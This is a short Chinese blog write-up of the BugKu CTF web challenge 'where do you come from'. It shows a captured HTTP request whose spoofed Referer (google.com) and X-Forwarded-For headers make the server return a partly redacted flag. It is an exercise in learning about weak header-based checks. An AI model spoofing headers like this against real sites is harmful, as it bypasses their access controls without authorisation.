

bugku-web 你从哪里来 writeup

原创

Peithon 于 2018-06-14 19:09:00 发布 5601 收藏

分类专栏: [BugKu](#) 文章标签: [bugku](#) [你从哪里来](#) [writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_39629343/article/details/80697107

版权



[BugKu 专栏收录该内容](#)

9 篇文章 2 订阅

订阅专栏

访问题目链接, 提示are you from google?, 意思是我们得从goole进入

使用Google,发现这是骗人的, 还是得不到flag

抓包, 然后修改referer字段的值

Target: <http://120.24.86.145:9009>

Request

Raw Headers Hex

```
GET /from.php HTTP/1.1
Host: 120.24.86.145:9009
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-Forwarded-For: 8.8.8.8
referer:https://www.google.com
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 14 Jun 2018 11:04:18 GMT
Content-Type: text/html
Connection: close
Content-Length: 21

flag{b...n}
```

https://blog.csdn.net/qq_39629343

就此得到了flag